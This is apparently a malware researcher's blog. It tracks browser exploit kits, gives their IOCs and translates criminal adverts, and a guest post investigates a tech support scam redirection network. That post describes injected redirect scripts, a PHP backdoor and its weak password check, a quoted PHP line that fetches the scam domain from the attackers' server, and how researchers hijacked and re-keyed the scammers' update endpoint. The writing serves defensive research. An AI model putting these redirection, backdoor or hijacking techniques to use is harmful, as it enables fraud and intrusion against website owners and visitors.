Normal view

There are new articles available, click to refresh the page.
Before yesterdayMDNC | Malware don’t need Coffee

Choose Again.

By: Kafeine
28 February 2020 at 13:50

This is the last post/activity you’ll see on MDNC.

I have now chosen to bring the MDNC (Blog/Kafeine/MISP) project to an end.
Thanks to those who helped me during this incredible 8 years journey.

The blog and twitter account will stay up (but inactive) for the records.
The MDNC MISP instance will be shut down in several weeks.

‘Choose again.’ said Aenea. ‘Dan Simmons, The Rise of Endymion‘

That’s all Folks!

CVE-2018-15982 (Flash Player up to and Exploit Kits

By: Kafeine
16 January 2019 at 13:50

The CVE-2018-15982 is a bug that allows remote code execution in Flash Player up to, spotted in the wild as a 0day. Patched on December 05, 2018 with APSB18-42.


Underminer exploit kit improves in its latest iteration - 2018-12-21 - Malwarebytes




Figure 4: Fallout exploiting CVE-2018-15982 on Windows 7 - 2019-01-16

Files: Fiddler on VT - Pcap on VT

Associated Advert underground:

Итак! Тяжкие работы по восстановлению всей инфраструктуры связки закончены, были проведены тесты и в данный момент связка работает в полном объеме. Также были произведены множество правок и изменений.


  1. Увеличена производительность
  2. Полностью переработан механизм обфускации кода и генерации лэндинга.
  3. Убран CVE-2018-8373 на переработку. В данный момент сплоит ведет себя не стабильно.
  4. Добавлен новый флеш сплоит CVE-2018-15982.
  5. Для запуска повершелл в шеллкод добавлен код отключения AMSI
  6. Кучка мелких правок


В данный момент при проверке отстука софта со связки было выявлено:

  1. Отстук EXE на уровне 80-90%
  2. Отстук PowerShell на уровне 95-100%

Translated by google as:

So! The hard work on the restoration of the entire infrastructure of the bundle was completed, tests were carried out and at the moment the bundle is working in full. There have also been many edits and changes.


  1. Increased performance
  2. The code obfuscation and landing generation mechanism has been completely redesigned.
  3. Removed CVE-2018-8373 for recycling. At the moment, the flow rate is not stable.
  4. Added new flash sploit CVE-2018-15982.
  5. To launch Powershell, the disable code AMSI is added to the shellcode
  6. A bunch of minor edits

CHANGED PRICE POLICY Week 400 $ Month $ 1300

At the moment, when checking the otstuk software from the bundle, it was revealed:

  1. Otstuk EXE level 80-90%
  2. Otstuk PowerShell at the level of 95-100%
IOC Type Comment Date
payformyattention[.]site|51.15.35[.]154 domain|IP Fallout EK 2019-01-16
whereismyteam[.]press|51.15.111[.]159 domain|IP Fallout EK 2019-01-16
bd31d8f5f7d0f68222517afc54f85da9d305e63a2ff639c6c535e082de13dede SHA-256 GandCrab Ransomware 2019-01-16


2019-03-06 Appears to be a new Exploit Kit which has some similarities with “SPL EK”. (CVE-2018-8174 has been spotted there as well)


Figure 4: Spelevo exploiting CVE-2018-15982 on Windows 7 - 2019-03-07


Thanks to Chaoying Liu for CVE confirmation.

Files: Fiddler on VT - Pcap on VT (note: Some proxy were used)

IOC Type Comment Date
letsdoitquick[.]site| domain|IP Redirector (Keitaro TDS) 2019-03-07[.]xyz|85.17.197[.]101 domain|IP Spelevo EK 2019-03-06
blasian.bestseedtodo[.]xyz|85.17.197[.]101 domain|IP Spelevo EK 2019-03-06
flashticket[.]xyz|85.17.197[.]101 domain|IP Spelevo EK 2019-03-06
read.updateversionswf[.]xyz|85.17.197[.]101 domain|IP Spelevo EK 2019-03-07
9aa8e341cc895350addaf268b21f7a716f6d7993575fdba67a3fe7a9e23b8f90 SHA-256 Gootkit “1999” 2019-03-07
2feba3cc47b7f1d47a9e1277c4f4ad5aa5126e59798ac096459d1eae8f573c35 SHA-256 Gootkit “3012” (2nd Stage) 2019-03-07
ws.blueberryconstruction[.]it|185.158.250[.]163 domain|IP Gootkit C2 2019-03-07
ws.diminishedvaluevirginia[.]com|185.158.251[.]115 domain|IP Gootkit C2 2019-03-07
gttopr[.]space|198.251.83[.]27 domain|IP Gootkit C2 2019-03-07

GreenFlash Sundown:

19.03.26 #Malvertising -> #GreenFlashSundown EK-> #SeonRansomware ver 0.2 & #pony & #miner using CVE-2018-15982 - 2019-04-05 - @vigilantbeluga

Shadowgate Returns to Worldwide Operations With Evolved Greenflash Sundown Exploit Kit - 2019-06-27 - Trendmicro

Read More:

Adobe Flash Zero-Day Exploited In the Wild - 2018-12-05 - Gigamon

Underminer exploit kit improves in its latest iteration - 2018-12-21 - Malwarebytes

CVE-2018-8174 (VBScript Engine) and Exploit Kits

The CVE-2018-8174 is a bug that allows remote code execution in the VBScript Engine. Found exploited in the wild as a 0day via Word documents, announced by Qihoo360 on April 20, 2018, patched by Microsoft on May 8, 2018 and explained in details by Kaspersky the day after.

A Proof of Concept for Internet Explorer 11 on Windows 7 has been shared publicly 3 days ago, it’s now beeing integrated in Browser Exploit Kits.

This will replace CVE-2016-0189 from july 2016 and might shake the Drive-By landscape for the coming months.


Spotted on the 2018-05-25

“TakeThat” wrote yesterday (2018-05-24) that he has integrated it and that infection rate has increased:

Добавлен CVE-2018-8174
Add CVE-2018-8174
Пробив/rate + boom.gif

And indeed today:


Figure 1: RIG launching code exploiting CVE-2018-8174 against IE11 on Windows 7 - 2018-05-25

IOC Type Comment Date IP Redirector 2018-05-23 IP RIG 2018-05-24 IP RIG 2018-05-24 IP RIG 2018-05-24 IP RIG 2018-05-24
vnz[.]bit|104.239.213[.]7 domain|IP Smoke Bot C2 2018-05-25
vnz2107[.]ru|104.239.213[.]7 domain|IP Smoke Bot C2 2018-05-25
92e7cfc803ff73ed14c6bf7384834a09 md5 Smoke Bot 2018-05-25
58648ed843655d63570f8809ec2d6b26 md5 Extracted VBS 2018-05-25

Files: PCAP on VT



Spotted on the 2018-06-02

After a week without buying traffic, Magnitude is active again, now with CVE-2018-8174: Magnitude_CVE-2018-8174

Figure 2: Magnitude successfully exploiting CVE-2018-8174 against IE11 on Windows 7 to deploy Magniber Ransomware - 2018-06-02

Note: Magniber is back (after 1 month and half of GandCrab) in this infection chain and is now (as GandCrab) also accepting Dash cryptocurrency as payment

IOC Type Comment Date
taxhuge[.]com| Domain|IP Magnigate step 1 2018-06-02
69j366ma35.fedpart[.]website| Domain|IP Magnigate step 2 2018-06-02
a23e5cwd602oe46d.addrole[.]space| Domain|IP Magnitude 2018-06-02
f48a248ddec2b7987778203f2f6a11b1 md5 Extracted VBS 2018-06-02
30bddd0ef9f9f178aa39599f0e49d733 md5 Magniber 2018-06-02
[ID].bitslot[.]website| Domain|IP Magniber Payment Server 2018-06-02
[ID].carefly[.]space| Domain|IP Magniber Payment Server 2018-06-02
[ID].trapgo[.]host| Domain|IP Magniber Payment Server 2018-06-02
[ID].farmand[.]site| Domain|IP Magniber Payment Server 2018-06-02

Files: Fiddler on VT (note: some proxy were used)


Spotted by Joseph Chen on 2018-06-14


Figure 3: GrandSoft exploiting CVE-2018-8174 against IE11 on Windows 7 - 2018-06-14

Files: Fiddler on VT - Pcap on VT

IOC Type Comment Date
easternflow[.]ml| Domain|IP BlackTDS 2018-06-14
uafcriminality[.]lesbianssahgbrewingqzw[.]xyz| Domain|IP GrandSoft EK 2018-06-14
cec253acd39fe5d920c7da485e367104 md5 Undefined Loader 2018-06-14
a15d9257a0c1421353edd31798f03cd6 md5 GandCrab 2018-06-14 IP AscentorLoader C2 2018-06-14
carder[.]bit Domain GandCrab C2 2018-06-14
ransomware[.]bit Domain GandCrab C2 2018-06-14


  • Thanks to Joseph Chen who spotted the new exploit and allowed the capture of this traffic.


  • 2018-06-19 - Added the name for the Loader


Spotted on 2018-06-30, most probably there since 2018-06-16


Figure 4: Fallout exploiting CVE-2018-8174 against IE11 on Windows 7 - 2018-08-30

Files: Fiddler on VT - Pcap on VT


Kaixin EK:

Spotted by JayK on 2018-07-12


Figure 5: Kaixin exploiting CVE-2018-8174 against IE11 on Windows 7 - 2018-08-11

Files: Fiddler on VT - Pcap on VT

Hunter EK:


Figure 6: Hunter including CVE-2018-8174 in its carpet bombing against IE11 on Windows 7 - 2018-08-30

Files: Fiddler on VT


  • Thanks to Frank Ruiz (FoxIT InTELL) for allowing this capture.

Greenflash Sundown:

Spotted by Chaoying Liu on 2018-09-05


Read More:
The King is dead. Long live the King! - 2018-05-09 - SecureList
Analysis of CVE-2018-8174 VBScript 0day - 2018-05-09 - Qihoo360

Post publication reading:
Rig Exploit Kit Now Using CVE-2018-8174 to Deliver Monero Miner - 2018-05-31 - Trend Micro
Delving deep into VBScript - Analysis of CVE-2018-8174 exploitation - 2018-07-03 - SecureList
Hello “Fallout Exploit Kit” - 2018-09-01 - Nao_Sec

CVE-2018-4878 (Flash Player up to and Exploit Kits

By: Kafeine
9 March 2018 at 19:19

The CVE-2018-4878 is a bug that allows remote code execution in Flash Player up to, spotted in the wild as a 0day, announced by the South-Korean CERT on the 31st of January. Patched on February 6, 2018 with ASPB18-03. Seen in malspam campaign two weeks after, it’s now beeing integrated in Exploit Kits.

This is, as far as i know, the first new working RCE integrated in non targeted Exploit Kit1 since CVE-2016-0189 in july 2016 (!).


GreenFlash Sundown:

Spotted on the 2018-03-09 (but probably there since several days)

CVE-2018-4878-Successful pass on GreenFlash Sundown

Figure 1: Greenflash Sundown successfully deploying Hermes 2.1 Ransomware after exploiting Flash in IE11 on Windows 7 - 2018-03-09

GreenFlash is a private heavily modified version of Sundown EK spotted in october 2016 by Trendmicro. It’s beeing exclusively used by the “WordsJS” (aka “ShadowGate”) group. This group is getting traffic from crompromised OpenRevive/OpenX advertising server since at least may 2015.


Figure 2: Some tagged activity from WordsJS displayed in MISP.

Some references about the activities of this group:

Blog/Tweet Date Author
OpenX Hacks example (malvertising) 2015-05-19 @malekal_morte
[Tweet] Malvertising via psychecentral[.]com 2015-10-12 @BelchSpeak […] Angler EK: Installs bedep, vawtrak and POS malware 2015-11-02 Cyphort
Music-themed Malvertising Lead To Angler 2016-01-19 Zscaler
[FR] Exemple d’une Malvertising sur OpenX 2016-04-13 @malekal_morte
Top Chilean News Website Emol Pushes Angler Exploit Kit 2016-05-11 Malwarebytes
Is it the End of Angler ? 2016-06-11 MDNC Shadowed Domains Lead to Neutrino EK 2016-08-12 RiskIQ
Talos ShadowGate Take Down: Global Malvertising Campaign Thwarted2 2016-09-01 Talos
Sundown EK from sends Locky Ransomware 2016-10-17 @malware_traffic
New Bizarro Sundown Exploit Kit Spreads Locky 2016-11-04 Trendmicro

Files: Fiddler on VT - Pcap on VT (note: some https proxies were used)

IOC Type Comment Date
bannerssale[.]com|159.65.131[.]94 domain|IP Sundown GF Step 1 2018-01-09
aquaadvertisement[.]com|159.65.131[.]95 domain|IP Sundown GF Step 2 2018-03-09
listening.secondadvertisements[.]com|207.148.104[.]5 domain|IP Sundown GF Step 3 2018-03-09
65bd3d860aaf8874ab76a1ecc852a570 md5 Ransomware Hermes 2.1 2018-03-09
f84435880c4477d3a552fb5e95f141e1 md5 Ransomware Hermes 2.1 2018-03-10

If you saw this kind of traffic in your perimeter/telemetry, i’d be happy to get more referer


  • 2018-03-10 - 15:40 GMT - Removed mention of steganography. @smogoreli: “simple offset in the dat file”


  • Thanks to Genwei Jiang (FireEye) for the CVE identification.
  • Thanks to Joseph Chen for inputs allowing the capture of a fresh pass of GreenFlash Sundown.
  • Thanks to @GelosSnake & @baberpervez2 for the ping on suspicious activity that could be associated to “WordsJS” (aka “ShadowGate”) and triggered those checks.


Spotted on the 2018-04-01


Figure 3: Magnitude successfully deploying Magniber Ransomware after exploiting CVE-2018-4878 on Flash in IE11 on Windows 7 - 2018-04-01

Magnitude is using the WSH injection described by Matt Nelson in August 2017.


Figure 4: UAC prompt on the wsh injection executed upon successful exploitation

Payload is the Magniber Ransomware, first spotted in the wild in october 2017, in a context documented by Trendmicro.


Figure 5: Some tagged activity from Magnigate displayed in MISP.

Select OSINT about this infection chain:

Blog/Tweet Date Author
Magnitude Actor Adds a Social Engineering Scheme for Windows 10 2017-08-03 Proofpoint
[Tweet] Ransomware spread by Magnitude. Hosted behind same infra. KOR focused for now 2017-10-16 Kafeine
Magnitude Exploit Kit Now Targeting South Korea With Magniber Ransomware 2017-10-18 Trendmicro

Files: Fiddler on VT - Pcap on VT (note: some https proxies were used)
IOCs: MISP Json (note: all those are changing almost hourly)

IOC Type Comment Date
finansee[.]credit|209.95.60[.]115 domain|IP Magnigate Step 1 2018-04-01
adex7s92616.fryrids[.]com|144.217.197[.]9 domain|IP Magnigate Step 2 2018-04-01
353kb544cv.anlogs[.]space|66.70.223[.]111 domain|IP Magnitude Exploit Kit 2018-04-01
*.fitpint[.]website|139.60.161[.]43 domain|IP Magniber Payment server 2018-04-01
*.riskjoy[.]pw|162.213.25[.]235 domain|IP Magniber Payment server 2018-04-01
*.ratesor[.]site|198.56.183[.]147 domain|IP Magniber Payment server 2018-04-01
*.accorda[.]space|107.167.77[.]100 domain|IP Magniber Payment server 2018-04-01
*.uxijz4kdhr4jp3wf[.]onion domain Magniber Payment server on tor 2018-04-01
1d4b9c4b4058bfc2238e92c0eebb5906 md5 Magniber Ransomware 2018-04-01


Spotted on the 2018-04-09

Replying to a customer complaining yesterday (2018-04-08) about the lack of CVE-2018-4878, “TakeThat” wrote early this morning (2018-04-09):

Чистки выполняются вовремя
Конечно мы добавили флеш CVE-2018-4878 он доступен на подписке от недели

Translated by google as:

Cleaning is done on time
Of course, we added the flash CVE-2018-4878 it is available on subscription from the week

And indeed today as spotted by @nao_sec:


Figure 6: RIG successfully exploiting CVE-2018-4878 on Flash in IE11 on Windows 7 - 2018-04-09

IOC Type Comment Date
cash111[.]club|18.220.221[.]2 domain|IP Keitaro TDS 2018-04-09 IP RIG 2018-04-09
omega.level7[.]gdn|89.45.67[.]198 domain|IP Urausy C2 2018-04-09
1bd20aa0433f3f03001b7f3e6f1fb110 md5 RIG Flash Exploit 2018-04-09
712385a6073303a20163e4c9fb079117 md5 Urausy - probably as a loader 2018-04-09


Spotted on 2018-06-28, most probably there since 2018-06-16

Despite seeing code pointing to it, we did not saw it properly called in traffic.

Fallout_CVE-2018-4878 Call

Figure 6: Fallout call for CVE-2018-4878 in it's landing 2018-08-30

Blog/Tweet Date Author
Hello “Fallout Exploit Kit” 2018-09-01 Nao_Sec
IOC Type Comment Date
md5 747c32e55b4e847c3274503290507aa1 Fallout Flash Exploit 2018-08-31


  • 2018-04-10 - 10:05 GMT - Modified to reflect payload id: Urausy. Not seen since 2015-06-09


  • Thanks to Kimberly for the payload identification.
  1. For instance CVE-2016-7855 has been integrated as a 0day in Sednit EK in october 2016. 

  2. It was not exactly a malvertising but some ad server compromission and nothing, but a bunch of shadowed domains, was really taken down 

The King of traffic distribution

Disclaimer: This post is hosted here as a courtesy to the author who prefers to remain anonymous. MDNC was not involved in any way with this study.


EITest is one of the longest malicious delivery campaigns that has continued to evolve. In the spring of 2017, it started redirecting Internet Explorer users to tech support scams in addition to the existing redirections with the fake Chrome fonts.

We believe the tech support scam campaign we are describing in this post is one of the most widespread and well organized because it relies on several schemes in addition to EITest, such as traffic redirection using a distributed system infrastructure.

Actors behind this campaign are generating hundreds of domains per day.The only purpose of those domains names is to redirect users to tech support scams or malicious websites.


  • We were able to redirect a considerable amount of traffic destined to Tech Support Scam websites to a controlled infrastructure for a period of 8 hours. After they fixed the flaw that allowed us to do that, we were able to bypass the new protection in place to take control again of the traffic for another 6 hours.

  • We discovered a network of bots controlled by a fraudulent Traffic Monetization company

  • We’ve collected a list of 1562+1294 compromised websites responsible for the redirections of users to scams

  • The actors are generating over 100 new domains each day to serve TSS via Freenom

The scam

The landing page sometimes changes, but always has the same goal: trying to take control of the browser so the user cannot close it, in hopes that they will panic and call the phone number for assistance.


Tech support scammer (TSS) are sometimes changing the landing page to better abuse the browser. Anyhow, this is what the current landing page looks like.

People that call those numbers will be told how to install a remote control software so the interlocutor can show Windows log events and services to the user, pretending that those are signs of an infected machine. The crooks will then offer a remote reparation service varying from $100 to $600.

Tech Support Scammer

Look at different redirection mechanisms

While analyzing the different ways for a user to be redirected to those scam support pages that try to hijack the browsers, we quickly documented multiple different redirection schemes using many different infrastructure. For this reason, we believe that many differents actors are responsible for sending traffic to the redirection network. Let’s begin by describing the most prolific methods of redirections.


EITest Redirection

EITest infected websites have the capability of injecting javascript in page upon loading. We can observe redirections to tech support scam (TSS) websites since 2017. The injection that occurs when the victim’s user-agent is IE, Edge or Firefox, is the following:


This script will, after verifying that it is running in a real browser, set a cookie named “popundr” and redirect the user at a decoy URL, hxxp:// in this case. Decoy domains injected resolve to IP, in a range belonging to KING-SERVERS (AS 14576). Since 2018-02-26, injected domains were resolving to IP at OVH instead (AS16276). It later changed back to, where TSS domains are now pointing.

This EITest campaign is generating ~1 new domain per day (usually with the TLD .bid). Those are easily recognizable by their patterns “/?{6 characters}” in the URL, but the pattern is changing about 4 times per day. The reason they are using a decoy URL and a specific pattern is so they can be routed through their Keitaro TDS (traffic distribution system). In fact, we can browse to the panel of this TDS by accessing it with the IP address at URN /admin:


Routing requests to their TDS before landing on the final destination allows them to have better control of the traffic and manage multiple campaigns. They are also doing more filtering on who will be redirected through this URL. We know that they are verifying at least the user-agent of the requester before allowing any redirection. Here is what will happen when the victims get redirected to one of those domains:


In this case, querying the decoy EITest URL with an user-agent set to “MSIE” was enough for the TDS to send a 302 redirection to the landing page: hxxp://

Crypper Redirection

Crypper Redirection

This campaign generates about 165 redirections / hour. Website was responsible for 904 redirections (68%).

For this redirection, we were able to get our hands on the malicious PHP file that is responsible for the generation of the script that redirects users:

Crypper code

The PHP code will start by hiding any errors from the output and get the user-agent and referer of the visitor. Prior to the creation of the javascript that will redirect the user, the code checks that the visitor is not a bot (crawler) and that the visitor is not on a mobile device. If those checks pass, it will fetch the current Tech Support Scam (TSS) domain hxxp:// and append the path “/index/?2661511868997” to it.

Finally, the function “redirectdd” is called with the created URL and the script will output with the latest domain that provided:

Crypper TSS

The script then sets a cookie “1561065164894_CRYPPER” and redirects the user with window.location. Although simple, this script is efficient enough to redirect many visitors.

Biz Redirection

Biz Redirection jpeg

This campaign generates about 1888 redirections / hour. Website was responsible for 1199 redirections (8%) and for 1091 (7%) of the redirections.

This redirection is distinguishable with the added path to the TSS domain: “/index/?2171506271081”.

Biz Code

The script will fetch another script from hxxp:// and run it, leading to a redirection:

Biz Redirection png

Plugin Redirection

Plugin Redirection

This campaign generates about 184 redirections / hour. Website was responsible for 119 redirections (8%).

This campaign has malicious Javascript slightly obfuscated by using the “reverse string” function:

Plugin TSS

There are a few variants of this script containing different URLs. By applying the reverse string function again on the string containing the malicious URL, we were able to identified all of them:

  • hxxp://
  • hxxp://
  • hxxp://
  • hxxp://

Once visited, those PHP files will set a cookie and redirect the user to the TSS landing page with the parameter “/index/?2101505838590” without further verification:

Kodmax redirection

Clearly, those four (4) website redirecting users have been hacked. One of them has the directory listing enabled, allowing us to see that the malicious file has been put there on 2017-11-17. It is probably at this date that this campaign started. Also, as another malware researcher did, we can search for some of the unique constants in the javascript file on Google and find more than 8000 indexed websites that are apparently infected with this script:

Google Query

Sometimes, the script gets injected multiple times within a page or in a way that it doesn’t work. For example, this website got defaced with the badly injected javascript:

Basham Radio

We went one step further when we realized that those malicious PHP files redirecting the users were logging every queries received in a .txt file accessible on the same server. For each redirected user, we had the timestamp of the query, their IP address, referrer and their user-agent. We then downloaded the logs for each of those 4 websites to index them in a database. To consider a request unique, we looked at the hash of: The timestamp of the request + the victim IP + the referer domain name.

This allowed us to determine that more than 7400 unique redirections happened since february 20.

chart Country of redirected users for the ‘Plugin’ redirection

The campaign is still going on so the numbers are constantly increasing. We also looked at unique domains in the referer field. We spotted ~1294 different domains redirected those users. The ones that redirected the most users are:

  • (5678 redirections)
  • (1947 redirections)
  • (1844 redirections)
  • (1566 redirections)

Location For Expert Redirection

Some website are redirecting users to TSS domains with the following path: “/index/?1641501770611”. It is the result of running this malicious javascript:

Expert Redirection

After deobfuscation, the code becomes readable and we can see the redirection:

Expert Redirection 2

The client will query the URL at hxxp:// (the filename often changes). The remote script then returns the URL where the user will be redirected.

ContainerRU Redirection

ContainerRU Redirection

This campaign generates about 335 redirections / hour. Website was responsible for 158 redirections (6%) and for 142 redirections (5%).

This Javascript found was obfuscated by hiding the content of the code in a fake image encoded in base64:

containerRU TSS

After deobfuscation, we can analyse the code:

ContainerRU - deobfuscated

The script will verify If the navigator of the user is either Chrome or Firefox. In this scenario, the user is redirected to an URL serving a payload. If the browser is Internet Explorer, the user will be redirected to the following URL: hxxp://, which will in turn redirect the user with an HTTP 301 to the TSS page with the parameter “/index/?801492446045”:

ContaierRU redirection

In all cases, if the domain name of the actual infected website contains “edu”, “gov” or “mil”, the script will not redirect the user. The IP address where this redirecting script is hosted ( has been linked to unwanted redirects in late 2017.

Doorways redirections

What is a Doorway?

A doorway script is usually an obfuscated PHP script that can trick search engines crawler to perform black hat SEO by modifying the content of a website to specific combination of keywords. However, the one used in this campaign is pretty advanced and allows the owner to basically do whatever he wants with the infected websites, such as injecting content. We discovered that he will often ‘upgrade’ those doorway scripts to PHP backdoors.

We also saw other prolific campaigns for which we don’t have the redirections scripts. For instance, the one generating the largest amount of traffic (URLs are recognizable with “/index/?1051496225880”) has been responsible for 43503 redirections over the 8 hours period (5437 redirections per hour) and represents 40% of the overwall traffic seen:

Top Campaigns seen

The websites who redirected users for this largest campaign is mostly with 18331 redirects, followed by:

  • (947 redirections)
  • (919 redirections)
  • (871 redirections)
  • (862 redirections)
  • (856 redirections)
  • (820 redirections)
  • (800 redirections)

We believe that those website have the doorways backdoor installed. Most of them are configured to get to latest TSS URL to : hxxp://<ID>&ineednewurltoredirect=yes

This website will return the appropriate domain to redirect the user:

Doorway redirection

Other redirections

By monitoring the backend servers, we discovered that the same infrastructure also serves for other malicious activities.

Chrome plugin

We’ve also observed some redirections chains from malvertising leading to fake chrome extensions. For example, one customer of PopAds, whose account is now banned, was redirecting clients to a TDS system at this URL: hxxp:// After multiple redirections, the users landed on the website, which resolved to IPs belonging to the back-end server we were monitoring:


After more digging into domains associated to the same scam, we also found another version of the landing page that tried to trick users to those malicious Chrome extensions:

Chrome Plugin

The back-end server, owned by Roi777 was also responsible for the traffic generated by those malicious Chrome extensions.

We also found a control panel that allowed them to categorize the status of those applications. Fortunately for us, the developer had no idea how to properly protect this panel. The password verification function was implemented in client-side Javascript.

Plugin panel

We later found those Chrome extension in the Chrome Store infected and heavily obfuscated. The purpose of them was to randomly redirect the user while browsing. The page where users get redirected can vary from nuisance advertisement to fake software installation page and TSS.

Anyhow, those addons are no longer being pushed and the page is no longer being updated. The actors probably moved to something else.


We also found some links to TSS on Pinterest: has been registered with the email address [email protected], like many other domains name hosted on Roi777 infrastructure.


Android applications

Malicious APKs are also found to be served when browsing to a domain hosted on his infrastructure :

Virus detected

The payload is then downloaded from: Once installed, the application will contact another domain hosted on the same server (hxxp://

This APK has the ability to redirect users to fraudulent ads and potentially TSS.

Analysis of the backend traffic

By monitoring differents TDS and back-end server serving those TSS campaigns, we saw a lot of different traffic type linked to differents malicious activities.Not only is this actor involved in the selling of fake software and redirecting to scams, but also in severals webshells and doorways backdoors, allowing him to control a vast network of compromised websites. This section take a look at those differents access methods and how they are leveraged.

Uses of scams domains

We observed TSS domains usually having the TLD .TK changing more than 100 times per day for this campaign. In the last 30 days only, we were able to log 2912 of those domains. Here is the most common IPs where they are pointing:

  • 999 of them (35%) are resolving to (King Servers)
  • 878 of them (30%) are resolving to (King Servers)
  • 162 of them (5%) are resolving to (OVH)

PHP Backdoor

We discovered that many “bots” were reporting to the back-end server belonging to Roi777. In fact we account for a total of 1562 infected websites reporting to his server. There are two types of backdoors that report to the infrastructure we monitored.

The first one being Doorways.We counted 386 differents website constantly asking the server for content to inject.

For the other type of backdoor, we observed 1176 differents domains infected reporting to the server, also asking for content to inject. Here is some stats about the CMS they used:

  • WordPress : 211
  • OpenCart: 41
  • Joomla: 19
  • Magento: 1
  • Unknown: 904

This backdoor is described in the next section.

Doorways to PHP backdoor

The Doorways have the capability to fetch for instruction and code to execute. We noticed that many of them were querying This URL, when queried with the good parameters, returns code to execute. This allowed us to saw how they can deploy PHP shell through their Doorways:


The content returned contains the backdoor encoded in base64, rot13 and base64 again. After de-obfuscation, we got this code:


The first part of this malicious PHP script will query hxxp:// with the user-agent of the current visitor requesting the page and it’s IP address. If a content is returned, it will be outputted in the content of the page. That said, the owner of the backdoor can inject any code they want into the page. Again, is resolving to which is an IP address belonging to Roi777.

The second part of the script contains a backdoor function executing every request received in the “c” field of the POST parameter of the request if the parameter “p” is also set with the correct password.

The password validation is done in a strange way. The received parameter “p” will be hashed twice before being compared to the hardcoded MD5 hash. However both the idea and the implementation is deficient here, because hashing twice is not more secure in this situation and the comparison is done with “==” instead of “===” (strict comparison), plus the fact that MD5 is no longer considered secure.


It took less than 30 mins to crack the actual password allowing the control of those backdoors. We must say that the speciality of those guys is clearly not security, but rather the opposite.

On a Wordpress installation, this backdoor is usually found in those files:

  • wp-config.php
  • index.php
  • wp-blog-header.php
  • Footer.php

We also found what looks like the administrator panel on the same server that they are reporting to:


Other backdoors

Many of the websites that were infected by the original backdoor we were investigating on were also infected with other PHP malicious scripts. However, we don’t think those other scripts were linked to this campaign.

Infection vector (plugin that is hacked, infected path)

It is hard to know for sure how those CMS has been infected. One thing we did notice on lot of them is that the malicious code was in the file footer.php of a WordPress plugins named Genesis. It turns out that this plugin was known to be vulnerable against Arbitrary File Upload in late 2016. However a lot of them have been exploited by other means, such as with other vulnerable plugins and passwords stealings / brute forcing.

Redirecting the traffic flow (or dethroning the king)

By looking at requests sent to the back-end servers, we noticed curious GET requests among a the traffic. The GET requests in question were formatted like the following : hxxps://<Tech support Scam domain>

The update_domain parameter immediately drew our attention, so we tried to do a query to the same PHP file with a domain under our control as the value of this parameter. Immediately, our server started receiving traffic.


So apparently, calls to this PHP file change to current domain published for TSS that the backdoors are relying on to redirect the users. In fact, we were able to change the domain returned by, where multiple backdoors are fetching the current TSS domain. As said before, those domains are changing more than 100 times a day, and we observed that they have a script calling /tech_supportv2.php frequently so users can be redirected to the latest domain. That said, when we changed the TSS domain to point to a domain under our control, it took only few minutes before their script updated it with the real TSS, overwriting ours at the same time. To keep the traffic going to our server, we then had to query multiple time per minute this webpage, and it sure worked.

After the initial 8 hours in which we had control of most of the traffic, they updated tech_supportv2.php and their script calling it so that the parameters expect were now the domain name to update, plus a key: hxxps://<Tech support Scam domain>&key=<Hash MD5>

To fix the aberrant lack of security in their mechanism to update the current TSS domains, they added this key to the parameters so our previous requests weren’t working anymore.


What is this ‘key’ parameter ?

The key parameter was 32 characters long, so we immediately thought of an MD5 hash. We tried to hash the current domain to see if it was matching, but no luck. We also noticed that the ‘key’ value (or hash) was different for each TSS domain they were updating and we were able replay them without problem. Given this information, it looked like it they were probably using some sort of salting with the domain name before hashing it.

Knowing a part of the hashed value (the domain name), and giving their expertise in cryptography, we started a mask attack locally with hashcat. It took us less than 10 seconds to reveal the salt used. The MD5 hash was the result of the domain name concatenated to the string: “ropl”. This allowed us to take the control back (on and off) of the traffic for another 7 hours. However, the stats used above for webshells and redirections are only based on the first 8 hours of collection.


Note that we didn’t take advantage of the redirected traffic, we instead logged every request made and temporarily neutralized the campaigns by avoiding any redirections to malicious websites.

The first time we redirected the traffic, we collected more than 108700 requests (8 hours period). The second attempt to redirect the traffic allowed us to log more than 55000 requests (6 hours).

By combining both data sets, we did some statistics:


Every request made by IP (Russia) was excluded from the graph because it generated by itself 48256 requests to /index/api.php and we believe that this traffic is generated by one of their server that control doorways on their infrastructure.

Here are the top 15 most seen websites in the referer field (probably infected websites):


Here are the most seen user-agents in those requests:


It’s interesting to note that a lot of requests were coming from Kodi (Open Source Home Theater Software), followed by Internet Explorer browser.

Link to Roi777

Considering the variety of coding styles, providers, IPs used and infected websites, we believe that many actors are involved in the traffic redirection. However, it is clear that the one known as roi777 has a central role in this whole scheme. As advertised on his website, he’s buying any type of traffic after all.

How does all of that links to Roi777 ?

Redirections chains explained above will not always redirect users to TSS. In fact, they are often filtering clients base on GeoIP and user-agent. When the traffic is unwanted for TSS, the redirection chain will often lead to : hxxp://

The parameters passed to those requests is another indication that this campaign is lead by roi777:

Also, almost all of the redirections scripts are either pointing directly to to fetch the latest domain or they are reporting to this same backend server, waiting for instruction.

We found an interesting discussion that happened on 06-01-2018 on this Russian forum[^1] involving the owner of the company Roi777 (using the nickname bagussusu) and another actor (azuluk) providing him backdoors, doorways and other elements mean to increase the number of redirected users. You can read the translated conversation here. In summary, we can learn that :

  • They were involved in the traffic generated by some Chrome Extension
  • They are using Quiwi / WebMoney financial services to transfer money.
  • Their main offer is currently Tech Support Scam.
  • Bagussusu is accepting a minimum trade of 1000 webshells and can convert them to Doorways
  • Azuluk had 30GB of mail accounts+passwords ready to sell. 5 millions of those were corporate accounts
  • Bagussusu is also using SPAM to increase the traffic.
  • Bagussusu have some employees working for him (developers).
  • The return on investment is apparently better in France (people get scammed easier).
  • Azuluk is using JakoDorgen to create Doorways.
  • Bagussusu recommands to fetch the latest TSS domain to his website with this PHP code:

    $domain = file_get_contents('');

  • They also provide other interesting details such as the IP of the TDS

Who is this “Roi777” ?

Being a young adult living in Russia, you can also find him using the following identities:

This non-exhaustive list is some of the most common pseudonyms he uses online. He operates a company that does “Traffic Monetization”. We now know how this traffic is brought back to his network (by illegals means) and what it is for (fraud).

Roi777 Website

His official website advertises some Success stories !

Traffic Monetization Success stories include traffic generated by Doorways

And there’s also a Keitaro TDS installed directly on /tds/:

Keitaro TDS


Most of the domains for domains used for scams are being resolved by and ( & The PowerAdmin administration tool they are using is accessible on the same servers:


Some of the domains:

Also, AS14576 Bullet proof hoster: King Servers doesn’t seems to host any legitimate services except of cyber-crime on their infrastructure.



By distributing fake applications, using underground malware distribution campaigns, and leveraging malvertisements, the actors behind the company Roi777 are trying to get as much traffic as they can, by any means possible. They are well active and always willing to get more traffic redirected to their scams so they can increase their income.

The EITest campaign, in part responsible for the TSS redirections, is still active even if it is one of the oldest campaign running and the backend servers IP have previous been revealed.


